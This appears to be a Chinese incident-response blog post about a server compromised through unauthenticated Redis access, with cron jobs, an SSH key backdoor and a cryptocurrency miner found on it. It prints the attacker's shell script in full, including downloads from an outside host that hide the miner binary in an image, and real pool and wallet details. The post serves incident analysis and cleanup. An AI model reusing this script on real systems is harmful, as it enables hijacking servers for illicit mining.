zoukankan      html  css  js  c++  java
  • 【应急响应】————5、redis未授权访问

    简介

    攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。

    排查过程

    检查进程发现SSH后门

    发现异常进程

    PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。

    发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh
    脚本内容如下:

    #!/bin/sh
    ps -fe|grep conns |grep -v grep
    if [ $? -ne 0 ]
    then
    echo "start process....."
    wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
    dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
    chmod +x /tmp/conns
    nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &
    else
    echo "runing....."
    fi
    
    sleepTime=20
    
    while [ 0 -lt 1 ]
    do
    ps -fe| grep conns | grep -v grep 
    if [ $? -ne 0 ]
    then
    echo "process not exists ,restart process now... "
    wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
    dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
    chmod +x /tmp/conns
    nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & 
    echo "restart done ..... "
    else
    echo "process exists , sleep $sleepTime seconds "
    fi
    sleep $sleepTime
    done

    首先下载了一个图片,然后通过dd提取出来挖矿程序。

    然后每20S检查一下进程是否存活。
    这种通过Redis未授权拿服务器挖矿的情况很常见。

    处理过程

    1)redis增加认证,清空/var/spool/cron/root和authorized_keys。
    2)删除后门
    3)Kill异常进程
    4)重启

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    MS SQL float转nvarchar
    RDLC添加页码
    RDLC报表分页显示标题
    程序员必读书单
    SQL查询结果增加序号列
    SQL字符串分组聚合(分组后的数据查询后用逗号隔开)
    现在有一列是int的,把它变成5位的字符串,左边不够的补0
    oracle客户端精简绿色版-环境变量配置
    DISTINCT后按照DISTINCT之前的某列进行排序
    设计模式之代理模式
  • 原文地址:https://www.cnblogs.com/devi1/p/13486281.html
Copyright © 2011-2022 走看看